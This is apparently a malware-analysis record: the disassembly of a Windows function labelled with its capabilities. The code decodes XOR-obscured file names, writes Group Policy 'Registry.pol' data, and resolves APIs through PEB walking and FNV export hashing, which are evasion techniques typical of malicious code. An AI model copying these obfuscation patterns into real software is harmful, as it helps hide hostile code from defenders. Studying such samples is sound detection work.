Function at 0x44aca0
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
or eax, 0xffffffff
mov dword [ebp - 0x28], edi
mov ecx, 0x800
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], edi
call fcn.004bca70
mov ebx, eax
mov dword [ebp - 0x1c], ebx
test ebx, ebx
je 0x44b409
mov ecx, 0x800
call fcn.004bca70
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x44b409
mov eax, dword [esi]
push 0x400
push ebx
push 2
push esi
call dword [eax + 0x38]
test eax, eax
js 0x44b409
mov edx, edi
mov ecx, ebx
sub edx, ebx
nop dword [eax]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x44ad10
mov dword [ebp - 0x70], 8
mov eax, 0x5a
mov word [ebp - 0x6c], ax
mov eax, 0x6d
mov word [ebp - 0x6a], ax
mov eax, 0x6f
mov word [ebp - 0x68], ax
mov eax, 0x61
mov word [ebp - 0x66], ax
mov eax, 0x7b
mov word [ebp - 0x64], ax
mov eax, 0x7c
mov word [ebp - 0x62], ax
mov eax, 0x7a
mov word [ebp - 0x60], ax
mov eax, 0x71
mov word [ebp - 0x5e], ax
mov eax, 0x26
mov word [ebp - 0x5c], ax
mov eax, 0x78
mov word [ebp - 0x5a], ax
mov eax, 0x67
mov word [ebp - 0x58], ax
mov eax, 0x64
mov word [ebp - 0x56], ax
mov eax, 8
mov word [ebp - 0x54], ax
movzx eax, word [0x402f4e]
xor eax, 8
mov word [ebp - 0x52], ax
movzx eax, word [0x402f50]
xor eax, 8
mov word [ebp - 0x50], ax
movzx eax, word [0x402f52]
xor eax, 8
mov word [ebp - 0x4e], ax
movzx eax, word [0x402f54]
xor eax, 8
mov word [ebp - 0x4c], ax
movzx eax, word [0x402f56]
xor eax, 8
mov word [ebp - 0x4a], ax
movzx eax, word [0x402f58]
xor eax, 8
mov word [ebp - 0x48], ax
movzx eax, word [0x402f5a]
xor eax, 8
mov word [ebp - 0x46], ax
movzx eax, word [0x402f5c]
xor eax, 8
mov word [ebp - 0x44], ax
movzx eax, word [0x402f5e]
xor eax, 8
mov word [ebp - 0x42], ax
movzx eax, word [0x402f60]
xor eax, 8
mov word [ebp - 0x40], ax
movzx eax, word [0x402f62]
xor eax, 8
mov word [ebp - 0x3e], ax
movzx eax, word [0x402f64]
xor eax, 8
mov word [ebp - 0x3c], ax
xor eax, eax
mov word [ebp - 0x3a], ax
xor edx, edx
mov ax, word [ebp - 0x6c]
mov ax, word [ebp + edx*2 - 0x6c]
movzx ecx, ax
movzx eax, word [ebp - 0x70]
xor ecx, eax
mov word [ebp + edx*2 - 0x6c], cx
inc edx
cmp edx, 0x19
jb 0x44ae50
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
xor eax, eax
mov word [ebp - 0x3a], ax
lea eax, [ebp - 0x6c]
push eax
push ebx
call esi
test eax, eax
je 0x44b409
mov dword [ebp - 0xa8], 0x49
mov edx, 0x2a
mov word [ebp - 0xa4], dx
mov eax, 0x26
mov word [ebp - 0xa2], ax
mov ecx, 0x24
mov word [ebp - 0xa0], cx
mov eax, 0x2c
mov word [ebp - 0x9e], cx
mov edx, 0x67
mov word [ebp - 0x9c], ax
mov eax, 0x27
mov word [ebp - 0x9a], ax
mov eax, 0x3d
mov word [ebp - 0x98], ax
mov word [ebp - 0x96], dx
mov edx, 0x2a
mov word [ebp - 0x94], dx
mov word [ebp - 0x92], cx
mov word [ebp - 0x90], ax
mov eax, 0x31
mov word [ebp - 0x8e], ax
mov eax, 0x49
mov word [ebp - 0x8c], ax
movzx eax, word [0x402f6a]
xor eax, 0x49
mov word [ebp - 0x8a], ax
movzx eax, word [0x402f6c]
xor eax, 0x49
mov word [ebp - 0x88], ax
movzx eax, word [0x402f6e]
xor eax, 0x49
mov word [ebp - 0x86], ax
movzx eax, word [0x402f70]
xor eax, 0x49
mov word [ebp - 0x84], ax
movzx eax, word [0x402f72]
xor eax, 0x49
mov word [ebp - 0x82], ax
movzx eax, word [0x402f74]
xor eax, 0x49
mov word [ebp - 0x80], ax
movzx eax, word [0x402f76]
xor eax, 0x49
mov word [ebp - 0x7e], ax
movzx eax, word [0x402f78]
xor eax, 0x49
mov word [ebp - 0x7c], ax
movzx eax, word [0x402f7a]
xor eax, 0x49
mov word [ebp - 0x7a], ax
movzx eax, word [0x402f7c]
xor eax, 0x49
mov word [ebp - 0x78], ax
movzx eax, word [0x402f7e]
xor eax, 0x49
mov word [ebp - 0x76], ax
movzx eax, word [0x402f80]
xor eax, 0x49
mov word [ebp - 0x74], ax
xor eax, eax
mov word [ebp - 0x72], ax
xor edx, edx
mov ax, word [ebp - 0xa4]
mov ax, word [ebp + edx*2 - 0xa4]
movzx ecx, ax
movzx eax, word [ebp - 0xa8]
xor ecx, eax
mov word [ebp + edx*2 - 0xa4], cx
inc edx
cmp edx, 0x19
jb 0x44afe1
xor eax, eax
mov word [ebp - 0x72], ax
lea eax, [ebp - 0xa4]
push eax
push edi
call esi
test eax, eax
je 0x44b409
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call esi
mov dword [ebp - 0x2c], eax
cmp eax, 0xffffffff
je 0x44b409
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push edi
call esi
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, 0xffffffff
je 0x44b40c
push 0
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x2c]
push 0x69c
push str.PReg
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x44b40c
push 0
lea eax, [ebp - 0x18]
push eax
push 3
push 0x4e4ccc
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x44b40c
lea eax, [ebp - 0x14]
push eax
push 0x185
push 0x4e4cd0
call fcn.00459630
test eax, eax
je 0x44b40c
mov ecx, dword [ebp - 0x14]
call fcn.004bcfd0
mov ebx, dword [0x4f3810]
mov dword [ebp - 0x30], eax
test ebx, ebx
jne 0x44b161
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44b148
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x44b110
cmp eax, 0xa3e6f6c3
je 0x44b3b1
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44b159
cmp dword [ecx + 0x18], 0
jne 0x44b0f0
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x44b201
test ebx, ebx
je 0x44b1fa
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0xac], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x44b1fa
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x44b1fa
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 8], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x44b1e8
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x44b1b3
mov ecx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x44b3bc
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x44b1a3
xor eax, eax
mov dword [0x4f37a4], eax
push 0
push 0
push 0
push 0
push dword [ebp - 0x30]
push dword [ebp - 0x14]
push 0
push 0
call eax
mov dword [ebp - 0xac], eax
test eax, eax
jle 0x44b3fe
mov ecx, eax
call fcn.004bca70
mov dword [ebp - 0x28], eax
test eax, eax
je 0x44b3fe
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x44b2d1
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x44b2b8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x44b280
cmp eax, 0xa3e6f6c3
je 0x44b3d9
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x44b2c9
cmp dword [ecx + 0x18], 0
jne 0x44b260
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x44b36d
test ebx, ebx
je 0x44b366
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x44b366
xor ecx, ecx
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x44b366
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 8], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x44b354
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x44b321
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
cmp edi, 0xa83e21de
je 0x44b3e4
mov eax, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
cmp ecx, dword [edx + 0x18]
jne 0x44b310
xor eax, eax
mov dword [0x4f37a4], eax
mov esi, dword [ebp - 0xac]
mov edi, dword [ebp - 0x28]
push 0
push 0
push esi
push edi
push dword [ebp - 0x30]
push dword [ebp - 0x14]
push 0
push 0
call eax
push 0
lea eax, [ebp - 0x18]
push eax
push esi
mov esi, dword [ebp - 0x24]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ebx, dword [ebp - 0x1c]
xor ecx, ecx
mov edi, dword [ebp - 0x20]
test eax, eax
mov edx, 1
cmovne ecx, edx
mov dword [ebp - 0x10], ecx
jmp 0x44b40c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44b15b
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44b1fc
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x44b2cb
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x44b368
mov ebx, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
jmp 0x44b40c
or esi, 0xffffffff
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x44b418
call fcn.004bced0
test ebx, ebx
je 0x44b423
mov ecx, ebx
call fcn.004bced0
test edi, edi
je 0x44b42e
mov ecx, edi
call fcn.004bced0
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x44b43c
mov ecx, eax
call fcn.004bced0
mov eax, dword [ebp - 0x2c]
cmp eax, 0xffffffff
je 0x44b44c
push eax
call fcn.00411330
call eax
cmp esi, 0xffffffff
je 0x44b459
push esi
call fcn.00411330
call eax
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret